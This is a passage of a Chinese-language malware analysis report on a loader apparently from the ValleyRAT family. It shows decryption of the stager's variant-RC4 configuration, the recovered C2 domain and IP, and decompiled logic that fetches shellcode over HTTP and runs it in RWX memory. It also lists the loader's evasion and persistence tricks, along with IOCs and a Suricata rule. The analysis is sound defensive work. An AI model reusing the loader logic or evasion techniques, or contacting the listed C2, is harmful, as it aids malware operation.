i=(i+1)&0xff; j=(j+S[i])&0xff; S[i],S[j]=S[j],S[i]
o.append(c^S[(S[i]+S[j])&0xff])
return bytes(o)
def var(S0,d):
S=list(S0); i=j=0; o=bytearray()
for c in d:
i=(i+1)&0xff; j=(j+S[i])&0xff; S[i],S[j]=S[j],S[i]
o.append(c^(S[i]^S[j]))
return bytes(o)
S0=ksa(key)
print('标准 RC4 :', std(S0,ct)[:16].hex())
print('变体 S[i]^S[j] :', var(S0,ct)[:16].hex())
"
标准 RC4 : 2b3e3459d79c797f9f242d5b8b783bfb
变体 S[i]^S[j] : 4ab1006868777161736378807364722e
变体结果开头的 4ab10068 之后的 68777161736378... 即 hhwqascx —— 明文已经出现。而标准实现给出的是乱码。
KSA 部分(0x124)是标准实现:S[i]=i,然后 j = (j + S[i] + key[i % keylen]) & 0xFF 并交换。逐个比对 S 盒可确认两种实现产生完全相同的初始状态 —— 差异仅在 keystream 提取公式。
这个改动使所有现成的 RC4 实现(包括各类在线工具与库函数)都无法直接解出密文。分析者必须逐指令阅读 PRGA 才能发现差异。
6.5 用样本自身的代码解密
既然算法与标准 RC4 不同,最可靠的做法是执行样本自己的 0x124 与 0x23C。这两个函数只使用传入的缓冲区,不调用任何系统 API(InternetConnectW 的参数形状也是外部传入),因此可在 Unicorn 中直接运行。
脚本要点:
uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(base, 0x2000); uc.mem_write(base, stager)
uc.mem_map(sbox, 0x1000); uc.mem_map(stack, 0x10000)
call(KSA, sbox, base + 0xB34, 8) # 密钥 = 魔数
call(PRGA, sbox, base + 0xB40, 0x14D) # 原地解密
rc4_out = uc.mem_read(base + 0xB40, 0x14D)
plain = lznt1(rc4_out) # LZNT1 解压
执行结果:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 300 uv run python work/recover_c2.py
host hhwqascxsdr.cc
port 8080
proto HTTP
len 2708 (expect 2708)
wrote work/c2_rc4.bin work/c2_config.bin
产物验证:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -l 16 work/c2_rc4.bin
00000000: 4ab1 0068 6877 7161 7363 7880 7364 722e J..hhwqascx.sdr.
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -l 16 work/c2_config.bin
00000000: 6868 7771 6173 6378 7364 722e 6363 0000 hhwqascxsdr.cc..
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ wc -c work/c2_rc4.bin work/c2_config.bin
333 work/c2_rc4.bin
2708 work/c2_config.bin
6.6 LZNT1 解压
RC4 输出是 LZNT1 压缩流。首个块头为 0xB14A:
0xB14A & 0x8000 = 0x8000 -> 压缩块
0xB14A & 0x0FFF = 0x14A -> 块长度 331 字节
加 2 字节块头 = 333 -> 与密文长度精确吻合
解压后得到 2708 字节,与代码中 VirtualAlloc(0, 0xA94, ...) 声明的尺寸一致 —— 这是一处可用于验证的交叉检查。
七、C2 配置解析
7.1 明文结构
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -l 16 work/c2_config.bin
00000000: 6868 7771 6173 6378 7364 722e 6363 0000 hhwqascxsdr.cc..
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -s 0x100 -l 16 work/c2_config.bin
00000100: 901f 4800 5400 5400 5000 0000 6868 7771 ..H.T.T.P...hhwq
| 偏移 | 类型 | 值 |
|---|---|---|
0x000 | ASCIIZ | hhwqascxsdr.cc |
0x100 | uint16 LE | 0x1F90 = 8080 |
0x102 | UTF-16 | HTTP |
0x10C | 同槽位 | hhwqascxsdr.cc(备份 1) |
0x218 | 同槽位 | hhwqascxsdr.cc(备份 2) |
0x324 | 同槽位 | hhwqascxsdr.cc(备份 3) |
0x864 | UTF-16 | C:\ProgramData\Packages |
0x92C | UTF-16 | NSecRpter.exe |
0x990 | UTF-16 | vulkan-1.dll |
0x9F4 | UTF-16 | vulkan-1.bin |
0x670/0x6D4/0x738 | UTF-16 | Windows App Packages Kit |
四个槽位存同一份配置,互为冗余。若某一槽位在投放过程中被损坏,样本仍可使用其他槽位。
侧载配置值得单独说明:C:\ProgramData\Packages 目录 + NSecRpter.exe + vulkan-1.dll 的组合是典型的 DLL 侧加载(DLL sideloading)。vulkan-1.dll 是 Vulkan 图形 API 的合法组件名,许多程序会从自身目录加载它;样本把恶意 DLL 命名为该名称,放在同一目录下,使宿主程序 NSecRpter.exe 启动时加载恶意 DLL 而非系统版本。目录名 C:\ProgramData\Packages 伪装成 Windows 应用包目录(真实路径为 C:\ProgramData\Packages,Windows Store 应用的数据目录)。
7.2 C2 端点的确认
域名为 hhwqascxsdr.cc —— 一个标签加 .cc 顶级域。
需要说明一处易错点:RC4 输出中该字符串被存储为 hhwqascx + \x80 + sdr.cc(0x80 是长度字节混入)。若按字面解析,可能误读为 hhwqascx.sdr.cc。后者是一个已被注册的空置域名(解析到 15.197.148.33),属于误判。正确名称是 hhwqascxsdr.cc,由 LZNT1 解压后的明文确认。
7.3 协议构造
主函数在发起请求前构造一个 50 字节头部,并逐字节异或 0x3A:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x99c --stop-address=0xa30 "$S" | tail -24
99c: mov DWORD PTR [rsp+0x38],r12d
9a4: mov QWORD PTR [rsp+0x4a],r12
9a9: mov DWORD PTR [rsp+0x52],r12d
9ae: mov DWORD PTR [rsp+0x56],0x13009
9b6: mov QWORD PTR [rsp+0x5a],0xa98
9bf: mov DWORD PTR [rsp+0x62],r12d
9c4: mov DWORD PTR [rsp+0x66],0x2072024
9cc: mov DWORD PTR [rbp+0x120],0x40
9d6: xor BYTE PTR [rsp+rax*1+0x38],0x3a ; ★ 头部逐字节异或 0x3A
9db: inc rax
9de: cmp rax,0x32 ; 50 字节
9e2: jl 0x9d6
9e4: mov r8d,0x32
9ea: lea rdx,[rsp+0x38]
9ef: mov rcx,r13
9f2: call rdi ; memcpy(dst, hdr, 50)
9f9: lea rcx,[r13+0x32]
9fd: mov r8d,esi
a00: lea rdx,[rbp+0x120]
a07: call rdi ; memcpy(dst+0x32, &len, 4)
a09: mov r8d,0xa94
a0f: lea rcx,[r13+0x36]
a13: mov rdx,r15
a16: call rdi ; memcpy(dst+0x36, cfg, 0xA94)
a18: mov edx,0xa94
a1d: lea rcx,[r13+0x36]
a21: call 0x3a0 ; RC4(dst+0x36, 0xA94)
请求体布局:
| 偏移 | 大小 | 内容 |
|---|---|---|
0x00 | 50 | 头部(构造后异或 0x3A) |
0x32 | 4 | 长度字段(0x40) |
0x36 | 2708 | 配置数据(经 0x3A0 的 RC4 加密) |
头部中的两个固定值 0x13009 与 0x2072024 是协议标识,接收端据此识别请求来源。
7.4 响应处理与载荷执行
主函数读取响应并校验:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0xa45 --stop-address=0xb20 "$S" | tail -40
a4c: movzx edx,WORD PTR [r15+0x100] ; 端口 = word[cfg+0x100]
a57: mov rcx,r15 ; 主机参数 = cfg
a5f: call 0x508 ; C2 通信
a64: mov ebx,eax
a68: jle 0xa4c ; 循环重试
a6a: cmp ebx,0x36
a6d: jb 0xa4c ; 响应至少 54 字节
a6f: mov r8d,0x32
a7a: mov rdx,rsi
a7d: call rdi ; 复制响应前 50 字节到栈
a85: lea rdx,[rsi+0x32]
a90: call rdi ; 复制 [0x32] 处的 4 字节长度
a92: cmp DWORD PTR [rbp-0x62],0x2072024 ; ★ 校验字段 1
a99: jne 0xa4c
a9b: cmp DWORD PTR [rbp-0x72],0x13009 ; ★ 校验字段 2
aa2: jne 0xa4c
aa4: mov eax,DWORD PTR [rbp+0x118]
aac: je 0xa4c
aae: mov ecx,DWORD PTR [rbp-0x6e]
ab3: add rax,0x4
ab7: cmp rcx,rax ; 长度一致性
aba: jne 0xa4c
abc: add rcx,0x32
ac0: cmp rbx,rcx
ac3: jb 0xa4c
ac5: xor ecx,ecx
acd: lea r9d,[rcx+0x40]
ad1: call r14 ; VirtualAlloc(0, len, PAGE_EXECUTE_READWRITE, 0x40)
adc: mov r8d,DWORD PTR [rbp+0x118]
ae7: mov rdx,rsi
aea: call rdi ; memcpy(exec, resp+0x36, len)
b00: call QWORD PTR [rbp+0x128] ; CreateThread(0,0,exec,0,0,0)
b11: call QWORD PTR [rsp+0x30] ; WaitForSingleObject
响应处理逻辑:
while (1) {
n = c2_communicate(cfg, *(uint16_t*)(cfg + 0x100));
if (n <= 0 || n < 0x36) continue;
memcpy(&hdr, resp, 50);
memcpy(&lenField, resp + 0x32, 4);
if (*(uint32_t*)(hdr + 0x1E) != 0x13009) continue;
if (*(uint32_t*)(hdr + 0x2E) != 0x2072024) continue;
if (lenField == 0) continue;
if (*(uint32_t*)(hdr + 0x26) != lenField + 4) continue;
if (n < lenField + 0x32 + 4) continue;
exec = VirtualAlloc(NULL, lenField, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(exec, resp + 0x36, lenField);
hThread = CreateThread(NULL, 0, exec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
载荷直接从网络响应中取出并执行,全程不落地文件。 这是一段完整的第二阶段加载能力 —— 样本本身只是加载器,真正的持久化载荷由 C2 动态下发。
InternetReadFile 返回零字节时 continue,形成无限重试循环,这是长驻植入体的常规做法。
7.5 域名解析
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ dig +short hhwqascxsdr.cc A
43.198.213.132
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ dig +short -x 43.198.213.132
ec2-43-198-213-132.ap-east-1.compute.amazonaws.com.
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ whois hhwqascxsdr.cc | grep -iE 'Registrar:|Creation Date|Name Server'
Registrar WHOIS Server: whois.22.cn
Creation Date: 2026-05-19T09:44:50Z
Registrar: 22net, Inc.
Registrar IANA ID: 1555
Name Server: NS1.22.CN
| 项目 | 值 |
|---|---|
| 域名 | hhwqascxsdr.cc |
| 当前 A 记录 | 43.198.213.132 |
| TTL | 600 秒 |
| PTR | ec2-43-198-213-132.ap-east-1.compute.amazonaws.com |
| 托管 | AWS ap-east-1(香港) |
| 注册商 | 22net, Inc.(ns1.22.cn) |
| 注册时间 | 2026-05-19 |
TTL 仅 600 秒,且宿主为 AWS EC2 实例 —— A 记录可随时变更。因此封禁时应同时拦截域名与 IP:仅拦截 IP 会在记录变更后失效,仅拦截域名则无法阻断已解析到旧 IP 的流量。
注册时间 2026-05-19 与样本 PE 时间戳(2026-08-20)相差约三个月,符合"域名先囤积、后投入使用"的常见节奏。
八、流量侧核对
8.1 会话清单
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ PCAP=extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617730.pcap/pcaps/dump.pcap
└─$ tshark -r "$PCAP" -Y 'http.request' -T fields -e ip.dst -e tcp.dstport -e http.host -e http.request.method -e http.request.uri
36.110.220.111 80 ctldl.windowsupdate.com GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?8fdd21222cf467be
36.110.220.119 80 ctldl.windowsupdate.com GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?5ea1a19e005e1516
36.110.220.119 80 ctldl.windowsupdate.com GET /msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?c9068858ae0eb87c
111.206.147.210 443 dns.weixin.qq.com.cn POST /mmtls/00007a37
183.47.109.197 80 szminorshort.weixin.qq.com POST /mmtls/00007a37
36.110.220.119 80 ctldl.windowsupdate.com GET /msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?9a6542a3222f8615
全部是系统与微信的正常流量。
8.2 DNS 查询
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ tshark -r "$PCAP" -Y 'dns.flags.response==0' -T fields -e dns.qry.name | sort -u
accounts.google.com
ctldl.windowsupdate.com
dns.weixin.qq.com.cn
fs.microsoft.com
optimizationguide-pa.googleapis.com
update.googleapis.com
www.googleapis.com
(以及若干 in-addr.arpa 反向查询)
没有 hhwqascxsdr.cc 的查询记录。
8.3 微信流量与 C2 的区分
183.47.122.37:8080 使用非标准端口,容易被误认为 C2。判别依据有三:
第一,载荷前缀。 该连接的 TCP 载荷起始为 16 f1 04:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ tshark -r "$PCAP" -Y 'ip.addr==183.47.122.37' -T fields -e tcp.payload | grep -v '^$' | head -3 | cut -c1-64
16f10400a10000009d0104f10100a891846f33dce06181b607cfb9ea7d2f6162e09962ee51f61b22
16f104002e0000002a0204f100a803079526720924579313f27a3a77ab9b7f48579d6fce740fa9fb
16f10400379af5f900aa327285a5d6e032000944c2d83580a5900ea27b30667ea43d16e294f0f259
16 f1 04 是微信 MMTLS 协议的记录头。
第二,Host 字段。 同一会话的 HTTP Host 为 dns.weixin.qq.com.cn 与 szminorshort.weixin.qq.com,User-Agent 为 MicroMessenger Client。
第三,时间关系。 该连接建立于抓包相对时间 140.6 秒,而样本在沙箱中的执行时间窗与之重叠,但样本自身未在该时刻发起网络活动 —— 微信连接来自分析机自身的微信客户端。
样本的 beacon 特征与此完全不同:POST / 请求、Connection: close、无 TLS 封装、目标是 hhwqascxsdr.cc。
8.4 为何抓包中没有 C2
沙箱报告的两处记录共同解释了这一点:
network.hosts: []
network.tcp: []
network.http: []
样本在 195 秒的观测窗口内未发起任何网络连接。结合第四章发现的 50 秒执行时长阈值,以及第五章记录的 UAC 提权被拒绝(last_error = 1223),可以判断样本在沙箱中确实运行到了检测环节,但未通过全部检查,因而没有进入 C2 通信阶段。
因此 C2 只能从 stager 静态还原,不能从流量中获得。这也说明一个分析原则:当沙箱因反分析机制未能触发网络行为时,流量侧证据缺失不等于样本无网络能力,必须回到内存镜像中提取注入模块并静态解析其配置。
九、完整执行流程
外层 PE 的执行链条,按调用关系排列:
| 阶段 | 地址 | 操作 |
|---|---|---|
| 入口 | 0x140015F40 | entry0 → fcn.140005f20 |
| 对象构造 | 0x140005F40 | fcn.1400069d0 初始化主体对象 |
| 主编排 | 0x140005F4A | fcn.14000ad80 |
| 环境检测 | 0x14000ADA3 | fcn.140008340 → 检测链 |
| 磁盘容量 | 0x140006DE0 | GetDiskFreeSpaceExW("C:\\") 对比 1 GiB |
| 运行时长 | 0x140009337 | 对比 50.0 秒阈值 |
| 驱动探测 | 0x140008F00 | DeviceIoControl |
| 进程枚举 | — | Process32NextW ×242 |
| ntdll 还原 | 0x140009B60 | 磁盘副本覆盖内存 .text |
| 自我移动 | — | 桌面 → %TEMP%\tmp3C00.tmp |
| 持久化 | — | 覆盖 SvcRestartTask |
| 注入 | — | 3213 字节 stager → svchost.exe -k netsvcs -s Schedule |
| 提权尝试 | — | ShellExecuteExW("runas", SW_HIDE) → ERROR_CANCELLED |
控制转移到注入的 stager 后:
| 阶段 | 偏移 | 操作 |
|---|---|---|
| 入口 | 0x000 | sub rsp,0x28; call 0x844 |
| API 解析 | 0x010 | PEB 遍历 + ROR13 求和比对 |
| 加载 wininet | 0x561 | LoadLibraryA("wininet.dll") |
| 定位配置 | 0x89F | find_config(0x708) → +0xB34 |
| 取密钥 | 0x8DF | memcpy(key, block, 8) |
| 取长度 | 0x8F6 | memcpy(&len, block+8, 4) = 333 |
| RC4 解密 | 0x902 / 0x916 | KSA + PRGA(S[i]^S[j] 变体) |
| LZNT1 解压 | — | 333 → 2708 字节 |
| 建连 | 0x508 | InternetConnectW(host, port) |
| 构造请求 | 0x9D6 | 50 字节头异或 0x3A |
| 发送 | 0x508 | HttpOpenRequestW("POST", "/") + HttpSendRequestW |
| 接收 | 0x508 | InternetReadFile |
| 校验响应 | 0xA92 | 0x13009 / 0x2072024 |
| 执行载荷 | 0xB00 | VirtualAlloc → CreateThread |
十、检测与处置
10.1 主机侧指标
以下指标来自本次分析中实际观测到的行为,而非通用建议:
| 指标 | 观测依据 |
|---|---|
进程打开自身可执行文件并移动到 %TEMP% | file_moved 记录 |
写入 C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask | file_written 记录 |
注册表 TaskCache\Tasks\{A6432082-89BD-434D-9C61-D7FE6D91CCB9} 被创建 | regkey_written 记录 |
svchost.exe -k netsvcs -s Schedule 出现无文件背书的内存区域 | tsmam.payloads 记录 |
加载 ddraw.dll 并创建 Local\__DDrawExclMode__ 互斥体 | dll_loaded / mutex 记录 |
读取 HKLM\SOFTWARE\Microsoft\DirectDraw\Compatibility\* | regkey_opened 记录 |
Process32NextW 调用次数异常偏高(数百次) | apistats 记录 |
进程自身读取 C:\Windows\System32\ntdll.dll 并调用 VirtualProtect | 静态分析 fcn.140009b60 |
最具体的一条:SoftwareProtectionPlatform\SvcRestartTask 被非系统进程写入。该文件正常情况下只由 Windows 激活服务维护,其他进程写入即为高置信异常。
10.2 网络指标
基于实际观测到的协议特征:
alert http $HOME_NET any -> $EXTERNAL_NET 8080 (
msg:"ValleyRAT loader beacon - hhwqascxsdr.cc";
flow:established,to_server;
content:"POST /"; http_method; http_uri;
content:"Connection: close"; http_header;
content:"|09 30 01 00|"; http_client_body; depth:4; distance:0;
sid:1000002; rev:1;)
请求体中 0x13009 与 0x2072024 两个协议标识可作为内容匹配。由于头部整体异或 0x3A,实际匹配的是异或后的字节。
域名与 IP 同时拦截:
hhwqascxsdr.cc
43.198.213.132
保留域名拦截即使 IP 已变更 —— TTL 仅 600 秒,解析记录随时可能更新。
10.3 静态特征
| 特征 | 说明 |
|---|---|
导入 wevtapi.dll + d3d11.dll 但无任何网络 DLL | 环境检测 + 网络能力分离的强信号 |
.data 的 VirtualSize 显著大于 RawSize(本例 33.78 倍) | 大量 BSS,通常为运行时构造的数据 |
资源中出现 RT_MESSAGETABLE 且熵值异常低(本例 3.75) | 消息表被文本数据填充,可能藏匿字符串 |
| 存在 91 项 × 12 字节的有序密钥表 | 字符串解密的索引结构 |
代码中出现 movabs reg, 0x91e07a2c4b18d6f3 | 字节码操作码的解密常量 |
三个 DLL 路径字符串(ntdll/kernel32/user32 的完整路径) | ntdll 还原逻辑的前置字符串 |
最有辨识度的一条:DeviceIoControl + GetSystemDirectoryW + K32GetModuleInformation + 三个系统 DLL 完整路径的组合。这一组导入在正常程序中极少同时出现,它精确对应"从磁盘读取干净 ntdll 覆盖内存版本"这一动作。
10.4 处置优先级
第一优先:阻断 C2。 同时拦截 hhwqascxsdr.cc 与 43.198.213.132。这是成本最低、效果最直接的措施 —— 样本的全部网络能力都依赖这个端点。
第二优先:检查计划的 SvcRestartTask。 若该任务文件的时间戳或哈希与系统基线不符,说明主机已被植入持久化。清除方式为删除该任务文件并重建系统默认版本(或在受控条件下运行 schtasks /change 恢复)。
第三优先:排查 svchost.exe 的异常内存。 重点检查 -k netsvcs -s Schedule 实例中是否存在无对应磁盘文件的模块、或 RWX 内存区域。这类内存区域在进程重启后自然消失,但 SvcRestartTask 会使其重新注入。
第四优先:审查 UAC 配置。 样本尝试通过 ShellExecuteExW("runas") 提权。沙箱中该请求被拒绝(ERROR_CANCELLED);若目标主机允许普通用户静默提权,样本会以更高权限运行,影响范围扩大。
长期改进:启用任意代码保护(ACG)。该策略阻止进程分配新的可执行内存,直接切断 VirtualAlloc(PAGE_EXECUTE_READWRITE) → CreateThread 这条执行链,使 stager 无法运行。启用前需评估对业务应用的兼容性影响。
10.5 分析注意事项
关于 RC4 变体。 该样本 stager 的 PRGA 使用 S[i] XOR S[j] 作为密钥流,而非标准的 S[(S[i] + S[j]) & 0xFF]。使用任何标准 RC4 实现解密都会得到乱码。复现时应执行 stager 自身的 0x124(KSA)与 0x23C(PRGA)函数,或按 S[i] ^ S[j] 自行实现。KSA 部分是标准的,差异仅在密钥流提取。
关于配置块的定位。 不要在整个模块中搜索固定魔数。配置块的识别条件是"前两字节 FE FA、第八字节 FF、且八字节之和等于 0x708",需要按此条件扫描。本例中该条件在模块内唯一命中 +0xB34。
关于域名拼写。 正确名称是 hhwqascxsdr.cc(一个标签 + .cc)。RC4 输出中出现的 hhwqascx.sdr.cc 是长度字节混入造成的错觉,该域名属于误判。
关于流量证据。 本样本在沙箱中未产生 C2 流量(50 秒时长阈值与 UAC 拒绝共同导致)。C2 必须从内存镜像中提取注入模块后静态还原,不能依赖抓包。
附录:关键常量与地址
| 项目 | 值 | 来源 |
|---|---|---|
| 样本 SHA256 | b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb | sha256sum |
| 样本 MD5 | c8922fde4bda9a300d7aa683cd96ef50 | md5sum |
| PE 时间戳 | 0x6A863862 = 2026-08-19 23:12:34 | PE 头 +0x08 |
| 入口点 | 0x15FE0 | PE 头 +0x28 |
ImageBase | 0x140000000 | PE 头 +0x30 |
SizeOfImage | 0x41000 | PE 头 +0x50 |
| 加密字符串宿主资源 | /11/25(RT_MESSAGETABLE) | 资源目录 |
| 加密字符串起始 | 文件 0x37266 | 资源内容 |
| 密钥索引表 | 0x140019F70,91 项 × 12 字节 | fcn.140005e60 |
| 操作码表 | 0x140019410,11 项 × 8 字节 | fcn.140003880 |
| 操作码 XOR 常量 | 0x91E07A2C4B18D6F3 | 0x140003B05 |
| 操作码二次 XOR | 0x5C | 0x140003B26 |
| 字节码分派表 | 0x140003F34(RVA)/ 0x140003F54(索引) | 174 分支 |
| 字符串解密函数 | 0x140003880 | 147 处调用,76 唯一密钥 |
| ntdll 还原函数 | 0x140009B60 | 使用 VirtualProtect |
| 磁盘容量阈值 | 0x14001E080 = 1073741824.0(1 GiB) | fcn.140006de0 |
| 运行时长阈值 | 0x14001E078 = 50.0 秒 | 0x140009337 |
| Stager SHA256 | 6d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872 | 内存转储目录名 |
| Stager 大小 | 3213 字节 | 文件长度 |
| Stager 主函数 | 0x844 | 入口存根 call 0x844 |
| stager RC4 KSA | 0x124 | 标准实现 |
| stager RC4 PRGA | 0x23C | 变体:S[i] ^ S[j] |
| stager 配置定位 | 0x404 | 字节和校验 0x708 |
| stager C2 通信 | 0x508 | WinINet 调用链 |
| 配置块偏移 | +0xB34 | 8 字节和 = 0x708 |
| 配置密钥长度 | 8 字节(FE FA CB F9 BF E9 A5 FF) | 配置块前 8 字节 |
| 密文长度 | 0x14D = 333 | 配置块 +0x08 |
| 密文偏移 | +0xB40 | 配置块 +0x0C |
| 解压后长度 | 0xA94 = 2708 | 代码中 VirtualAlloc 参数 |
| LZNT1 首块头 | 0xB14A(长度 331 + 2 字节头 = 333) | 密文解压 |
| 协议标识 1 | 0x13009 | 响应头 +0x1E |
| 协议标识 2 | 0x2072024 | 响应头 +0x2E |
| 请求头异或常量 | 0x3A | 0x140003B26 处循环 |
| C2 域名 | hhwqascxsdr.cc | 配置 +0x000 |
| C2 端口 | 8080 | 配置 +0x100(uint16 LE) |
| C2 IP | 43.198.213.132 | dig(AWS ap-east-1) |
| C2 协议 | HTTP POST / + Connection: close | stager 字符串构造 |
| 侧载目录 | C:\ProgramData\Packages | 配置 +0x864 |
| 侧载宿主 | NSecRpter.exe | 配置 +0x92C |
| 侧载 DLL | vulkan-1.dll | 配置 +0x990 |
| 落地文件 | %TEMP%\tmp3C00.tmp | 沙箱 file_moved |
| 持久化任务 | SoftwareProtectionPlatform\SvcRestartTask | 沙箱 file_written |
| 任务 GUID | {A6432082-89BD-434D-9C61-D7FE6D91CCB9} | 沙箱 regkey_written |
| 服务宿主名 | bdservicehost.exe | 解密字符串 |